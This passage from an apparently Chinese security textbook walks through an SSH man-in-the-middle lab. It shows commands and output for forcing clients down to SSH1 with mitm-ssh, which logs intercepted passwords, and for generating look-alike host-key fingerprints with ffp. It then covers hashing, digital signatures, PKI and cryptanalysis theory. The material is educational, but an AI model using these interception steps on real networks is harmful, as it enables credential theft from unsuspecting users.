loki(192.168.42.72)同样如此。但是,loki也接收具有不同主机指纹集的SSH1。客户机不太可能只使用SSH1,因此还没有用于该协议的主机指纹。
若用于中间人攻击的经修改的SSH守护程序迫使客户机使用其他协议进行通信,将找不到主机指纹。此时,并不会呈现冗长的警告消息,而是询问用户是否添加新指纹。 mitm-sshtool使用的配置文件与openssh的相同,因为它也是由该代码建立的。通过在/usr/local/etc/mitm-ssh_config 添加Protocol 1行,mitm-ssh守护程序将声明自己仅能理解 SSH1协议。
以下输出说明loki的SSH服务器通常支持SSH1和SSH2协议,但若用新的配置文件将mitm-ssh 放在中间,伪造的服务器会声称它只支持SSH1协议。
来自192.168.42.250(tetsuo),这只是网络上一台成为牺牲品的计算机。
iz@tetsuo:~ $ telnet 192.168.42.72 22
Trying 192.168.42.72...
Connected to 192.168.42.72.
Escape character is '^]'.
ssH-1.99-OpenSSH_3.9p1
Connection closed by foreign host.
iz@tetsuo:~ $ rm ~/.ssh/known_hosts
iz@tetsuo:~ $ ssh jose@192.168.42.72
The authenticity of host '192.168.42.72 (192.168.42.72)' can't be established.
RSA key fingerprint is ba:06:7f:d2:b9:74:a8:0a:13:cb:a2:f7:e0:10:59:a0.
Are you sure you want to continue connecting (yes/no)? yes
Warning: Permanently added '192.168.42.72' (RSA) to the list of known hosts.
jose@192.168.42.72's password:
iz@tetsuo:~ $
在攻击者的计算机上,将mitm-ssh设置为仅使用SSH1协议。
reader@hacking:~ $ echo "Protocol 1" >> /usr/local/etc/mitm-ssh_config
reader@hacking:~ $ tail /usr/local/etc/mitm-ssh_config
# Where to store passwords
#PasswdLogFile /var/log/mitm-ssh/passwd.log
# Where to store data sent from client to server
#ClientToServerLogDir /var/log/mitm-ssh
# Where to store data sent from server to client
#ServerToClientLogDir /var/log/mitm-ssh
Protocol 1
reader@hacking:~ $ mitm-ssh 192.168.42.72 -v -n -p 2222
Using static route to 192.168.42.72:22
SSH MITM Server listening on 0.0.0.0 port 2222.
Generating 768 bit RSA key.
RSA key generation complete.
再来看192.168.42.250(tetsuo)的情况
iz@tetsuo:~ $ telnet 192.168.42.72 22
Trying 192.168.42.72...
Connected to 192.168.42.72.
Escape character is '^]'.
SSH-1.5-OpenSSH_3.9p1
Connection closed by foreign host.
通常,与loki(192.168.42.72)连接的tetsuo等客户机只使用SSH2通信。因此客户机上之存储SSH协议2的主机指纹。中间人攻击强加协议1时,由于协议不同,攻击者的指纹不会与存储的指纹进行比较。较早的实现只是询问是否添加该指纹,因为从技术角度看,该协议的主机指纹并不存在。如以下输出所示。
iz@tetsuo:~ $ ssh jose@192.168.42.72
The authenticity of host '192.168.42.72 (192.168.42.72)' can't be established.
RSA key fingerprint is 45:77:8d:ea:51:0f:25:db:5a:4b:9e:6a:d6:3c:d0:a6.
Are you sure you want to continue connecting (yes/no)?
4.3模糊指纹
关于SSH主机指纹,KonradRieck提出一个有趣的见解。通常用户将从几个不同的客户机与服务器连接。每次使用新客户机时,将显示和添加主机指纹,具有安全意识的用户将注意记住主机指纹的一般结构。虽然实际上没人能记住整个指纹,但只要稍加努力就能发现主要区别。从一个新客户机连接时,如果大致了解主机指纹,将能极大地增加连接的安全性。若尝试进行中间人攻击,凭肉眼就能发现主机指纹的明显不同。
不过,眼睛和大脑也是可以欺骗的。某些指纹看上去与其他指纹类似。在某些字体中,数字1和7非常相似。通常,对于十六进制数字而言,指纹开始处和结束处最容易记清楚,而中间部分则有些模糊。模糊指纹技术背后的目标是生成与原始指纹十分相似的主机密钥和指纹,以欺骗他人的眼睛。
openssh 数据包提供了从服务器检索主机密钥的工具。
reader@hacking:~ $ ssh-keyscan -t rsa 192.168.42.72 > loki.hostkey
# 192.168.42.72 SSH-1.99-OpenSSH_3.9p1
reader@hacking:~ $ cat loki.hostkey
192.168.42.72 ssh-rsa
AAAAB3NzaC1yc2EAAAABIwAAAIEA8Xq6H28EOiCbQaFbIzPtMJSc316SH4aOijgkf7nZnH4LirNziH5upZmk4/
JSdBXcQohiskFFeHadFViuB4xIURZeF3Z7OJtEi8aupf2pAnhSHF4rmMV1pwaSuNTahsBoKOKSaTUOW0RN/1t3052KTzjtKGacX4gTLNSc8fzfZU=
reader@hacking:~ $ ssh-keygen -l -f loki.hostkey
1024 BA:06:7F:D2:B9:74:A8:0A:13:CB:A2:F7:E0:10:59:A0 192.168.42.72
reader@hacking:~ $
现在已经了解到192.168.42.72(loki)的主机密钥指纹式,可生成看似相近的模糊指纹。Rieck已开发了这样一个程序,可从http://www.thc.org/thc-ffp/得到这个程序。以下输出显示了为192.168.42.72(loki)创建的一些模糊指纹。
reader@hacking:~ $ ffp Usage: ffp [Options]
Options:
-f type Specify type of fingerprint to use [Default: md5]
Available: md5, sha1, ripemd
-t hash Target fingerprint in byte blocks.
Colon-separated: 01:23:45:67... or as string 01234567...
-k type Specify type of key to calculate [Default: rsa]
Available: rsa, dsa
-b bits Number of bits in the keys to calculate [Default: 1024]
-K mode Specify key calculation mode [Default: sloppy]
Available: sloppy, accurate
-m type Specify type of fuzzy map to use [Default: gauss]
Available: gauss, cosine
-v variation Variation to use for fuzzy map generation [Default: 7.3]
-y mean Mean value to use for fuzzy map generation [Default: 0.14]
-1 size Size of list that contains best fingerprints [Default: 10]
-s filename Filename of the state file [Default: /var/tmp/ffp.state]
-e Extract SSH host key pairs from state file
-d directory Directory to store generated ssh keys to [Default: /tmp]
-p period Period to save state file and display state [Default: 60]
-V Display version information
No state file /var/tmp/ffp.state present, specify a target hash.
reader@hacking:~ $ ffp -f md5 -k rsa -b 1024 -t ba:06:7f:d2:b9:74:a8:0a:13:cb:a2:f7:e0:10:59:a0
---[Initializing]--------
Initializing Crunch Hash: Done
```plaintext
Initializing Fuzzy Map: Done
Initializing Private Key: Done
Initializing Hash List: Done
Initializing FFP State: Done
---[Fuzzy Map]---------------------
Length: 32
Type: Inverse Gaussian Distribution
Sum: 15020328
Fuzzy Map: 10.83 19.64:8.5281 7.478:6.49 5.58:4.74 3.96:
3.25|2.62:2.05 11.55:1.12 10.76:0.47 10.24:
0.098|0.018:0.008 0.06:0.19 10.38:0.65 0.998:
1.39|1.87:2.418 3.038:3.718 14.46:5.29 6.18:
---[Current Key]-------------------
Key Algorithm: RSA (Rivest Shamir Adleman)
Key Bits / Size of n: 1024 Bits
Public key e: 0x10001
Public Key Bits / Size of e: 17 Bits
Phi(n) and e r.prime: Yes
Generation Mode: Sloppy
State File: /var/tmp/ffp.state Running...
---[Current State]-----------------
---- Running: 0d 00h 00m 00s | Total: 0k hashs | Speed: nan hashs/s
Best Fuzzy Fingerprint from State File /var/tmp/ffp.state
Hash Algorithm: Message Digest 5 (MD5)
Digest Size: 16 Bytes / 128 Bits
Message Digest: 6a:06:f9:a6:cf:09:19:af:c3:9d:c5:b9:91:a4:8d:81
Target Digest: ba:06:7f:d2:b9:74:a8:0a:13:cb:a2:f7:e0:10:59:a0
Fuzzy Quality: 25.652482%
---[Current State]-----------------
Running: 0d 00h 01m 00s | Total: 7635k hashs | Speed: 127242 hashs/s
Best Fuzzy Fingerprint from State File /var/tmp/ffp.state
Hash Algorithm: Message Digest 5 (MD5)
Digest Size: 16 Bytes / 128 Bits
Message Digest: ba:06:3a:8c:bc:73:24:64:5b:8a:6d:fa:a6:1c:09:80
Target Digest: ba:06:7f:d2:b9:74:a8:0a:13:cb:a2:f7:e0:10:59:a0
Fuzzy Quality: 55.471931%
--[Current State]------------------
Running: 0d 00h 02m 00s | Total: 15370k hashs | Speed: 128082 hashs/s
-----------------------------------
```plaintext
Best Fuzzy Fingerprint from State File /var/tmp/ffp.state
Hash Algorithm: Message Digest 5 (MD5)
Digest Size: 16 Bytes / 128 Bits
Message Digest: ba:06:3a:8c:bc:73:24:64:5b:8a:6d:fa:a6:1c:09:80
Target Digest: ba:06:7f:d2:b9:74:a8:0a:13:cb:a2:f7:e0:10:59:a0
Fuzzy Quality: 55.471931%
.:[ output trimmed ]:
---[Current State]-----------------
Running: 1d 05h 06m 00s | Total: 13266446k hashs | Speed: 126637 hashs/s
Best Fuzzy Fingerprint from State File /var/tmp/ffp.state
Hash Algorithm: Message Digest 5 (MD5)
Digest Size: 16 Bytes / 128 Bits
Message Digest: ba:0d:7f:d2:64:76:b8:9c:f1:22:22:87:b0:26:59:50
Target Digest: ba:06:7f:d2:b9:74:a8:0a:13:cb:a2:f7:e0:10:59:a0
Fuzzy Quality: 70.158321%
Exiting and saving state file /var/tmp/ffp.state
reader@hacking:~ $
这里的模糊指纹生成过程可持续任意长的时间。程序跟踪某些极佳的指纹并定期显示它们。所有状态信息都存储在/var/tmp/ffp.state中,因此可按下Ctrl+C组合键退出程序,稍后可通过运行没有任何参数的ffp再次恢复程序。运行一段时间后,可用-e开关从状态文件中提取SSH主机密钥对。
五、其他常见密码学技术
5.1单向散列函数
单向散列函数又称Hash函数、杂凑函数或消息摘要函数,它是一个确定函数,能将任意长度的比特串映射为某一固定长度的比特串,即:H:(0,1)*→(0,1)k。Hash函数具有单向、散列、无碰撞等特性,它将消息压缩为固定长度的摘要,隐藏了消息明文的代数结构,是提高数字签名速度和实现消息认证的重要工具。
Hash函数特点:
单向性:任意给定一个x,H(x)可在关于x长度的线性或低阶多项式时间内计算;而任意给定一个c,找到一个x,使得H(x)=c,在计算上是不行的。
散列性:对于任意x,H(x)与[0,2k]区间上的均匀分布在计算上是不可区分的。
无碰撞性:找到一对x≠x',使得H(x)=H(x’),在计算上是不可行的。弱无碰撞性:给定一个x,找到一个x'≠x,使得H(x)=H(x'),在计算上是不可行的。在许多应用中,弱无碰撞性已能满足实际的安全性需求,而无碰撞性必然是满足弱无碰撞性的。
MDx和SHA系列是目前国际上通用的Hash函数标准算法。2004年王小云等学者发现MD5、SHA-1等存在安全漏洞,设计了快速有效的碰撞攻击算法,是近年来国际密码学领域最重要的研究成果之一,对Hash函数的设计提出了更高的要求,有关Hash函数的构造问题又成为研究热点。
5.2数字签名
数字签名是利用非对称加密算法来验证网络传输信息真实性的一种技术。若A与B通信,发送方A用其私钥Akd对消息M进行运算,将结果D(M,Akd)传送给接收方B。B用A的公钥Ake对收到的内容进行运算,得到E(D(M,Akd),Ake)=M。由于除A之外没有人知道Akd,所以除A以外也就没有人能产生D(M,Akd)。这样,就表示A对消息M进行了数字签名。
如果A否认曾发送M给B,B就将M和D(M,Akd)出示给仲裁方,仲裁方可以很容易地验证A确实发送M给B,使A无法抵赖。如果B将M伪造成M',则B就无法将D(M',Akd)出示给仲裁方,证明B伪造了消息,因而也起到了验证信息完整性的作用。
在以上处理中,只对消息进行了数字签名,并未对消息进行加密,任何截获D(M,Akd)的人都可利用A的公钥Ake得到M。在实际传输中,通常使用这样的方法:对消息进行加密,对消息摘要进行签名。
目前已有大量的数字签名算法,如:RSA数字签名算法、EIGamal数字签名算法、Fiat-Shamir数字签名算法、Schnorr数字签名算法、美国数字签名标准/算法DSS/DSA、椭圆曲线数字签名算法等等。
5.3公钥基础设施PKI
在非对称加密体制下,各通信实体的公钥都是公开的,但通信者如何确保自己获得的对方公钥真正属于与自己通信的实体,也是一个有待解决的问题。例如:若A与B通信,中间攻击者C完全可以通过生成自己的公/私钥对(Cke,Ckd),用自己的公钥Cke来冒充真正接收者的公钥,实施中间人攻击,从而获取或篡改消息。
引入大家广泛信任的第三方权威中心来证明各参与方公钥的有效性是解决公钥安全分发的有效方案。
公钥基础设施(Public Key Infrastructure,PKI)是一种基于公钥技术实现的,提供数据机密性、完整性、身份认证和不可否认性等安全服务的,普适性和标准化安全平台。PKI包括认证中心CA、注册机构、资料库、密钥管理、证书撤销列表CRL等组件,涉及认证中心、证书申请者(持有者)和验证者三类实体,其中数字证书是PKI的基本要素,认证中心CA是PKI的核心。
PKI通过可信第三方CA为证书申请者发布证书,实现了证书持有者身份与证书的绑定,使证书持有者能接受验证者的验证并获得信任,从而为通信双方提供了一种建立信任关系的方式。
PKI证书主要采用X.509国际标准,包含以下信息:
版本号:证书使用了哪个版本的X.509标准;
序列号:CA为该证书分配的唯一序列号,证书被撤消时该序列号将被放入CRL中;
签名算法标识符:所使用的签名算法;
发布者的名称;
有效期:包括证书的生效时间和失效时间;证书持有者的名称;
证书持有者的公钥信息:包括证书持有者的公钥和公钥算法;
发布者的唯一标识符;
证书持有者的唯一标识符;
扩展信息:X.509 v3和v4可使用一个或多个扩展字段,附加有关该证书的额外说明信息;
发布者的数字签名:CA所使用的签名算法标识和签名值
在PKI体系中,任何通信实体想成为安全通信中的合法角色,首先必须向CA提出证书申请,经CA验证后,获得CA颁发的证书和一个公/私密钥对,若证书拥有者在证书有效期内将私钥丢失或泄露,可向CA提出证书撤销申请,经CA确认后,予以撤销,CA将被撤消的证书列入证书撤销表(Certificate Revocation List,CRL)中,CRL主要包含多个被撤消证书的序列号和CA的数字签名,CRL通过证书发布系统公开发布。
5.4密钥管理
现代密码学的一个基本原则就是:一切秘密寓于密钥之中,而加密算法则可以公开。在网络攻击的许多事件中,密钥的安全管理是攻击的一个主要环节。密钥管理是系统安全的一个重要方面,包括密钥的生成、分发、存储、销毁、使用等一系列过程。目前已提出的密钥交换和管理协议主要有Diffie-Hellman密钥交换协议、安全联盟密钥管理协议ISAKMP、Internet密钥交换协议IKE等等。
密码学技术——密钥管理
举例1:利用公钥系统进行对称密钥交换。
举例2:利用公钥系统进行对称密钥分发。
5.5密码分析
密码分析也称密码破译技术,是指在不掌握密钥的情况下,利用密码系统的弱点来恢复明文或获取密钥的技术。密码系统和密码分析是密码学研究的两个方面,密码分析对于验证加密算法的安全性、提高密码系统的设计质量,具有重要的意义。
从密码学发展史可以清楚地看到,密码分析和密码学是共同演化的。新的密码机制被设计出来,取代已经被破解的设计;同时新的密码分析方法被发明出来,以破解那些改进了的方案。事实上,密码系统和密码分析就像是同一枚硬币的正反两面:为了创建安全的密码系统,就必须考虑可能的密码分析。
对密码系统的攻击方法主要分为:
惟密文攻击:分析者已知加密算法和待破译的密文。
已知明文攻击:分析者已知加密算法和经密钥加密形成的一些明文-密文对。
选择明文攻击:分析者已知加密算法,可以自己选定明文消息,并能够知道对应的密文。例如,在公钥密码体制中,攻击者可以利用公钥加密他任意选定的明文,这种攻击就是选择明文攻击。
选择密文攻击:分析者已知加密算法,可以自己选定的密文,并能够知道对应的明文。
选择文本攻击:选择明文攻击与选择密文攻击的结合。分析者已知加密算法、自己选择的明文和与之对应的密文、以及自己选择的密文和与之对应的明文。
密码学技术密码分析
惟密文攻击是最困难的,因为分析者可利用的信息最少,一般需要采用穷举攻击的方法。上述攻击的强度是逐次递增的,前三种攻击是为了恢复明文或获取密钥,后两种攻击是为了获取密钥。讨论一个密码系统的安全性,通常是指在前三种攻击下是安全的。因为攻击者一般容易具备进行前三种攻击的条件。
差分分析(differential cryptanalysis)是一种选择明文攻击,其基本思想是:通过分析特定明文差分对相对应密文差分影响来获得可能性大的密钥。它可以用来攻击任何由迭代一个固定的轮函数的结构的密码以及很多分组密码(包括DES,但DES无须抵御这种攻击,why?),它是由Biham和Shamir于1991年提出的选择明文攻击。
差分分析涉及带有某种特性的密文对和明文对比较,其中分析者寻找明文有某种差分时对应的密文对。这些差分中有一些有较高的重现概率,差分分析用这些特征来计算可能密钥的概率,最后定为最可能的密钥。
线性分析(Linear cryptanalysis)的分析者利用了包含明文、密文和子密钥的线性表达式发生的较大可能性。线性分析的前提是假设攻击者已经知道了大量的明文和相对应的密文。
线性分析最基本的思想就是用一个线性表达式来近似表示加密算法的一部分,该表达式是u比特的输入与v比特的输出进行XOR操作的结果。线性密码分析的方法就是测定上述形式的线性表达式发生的可能性的大小。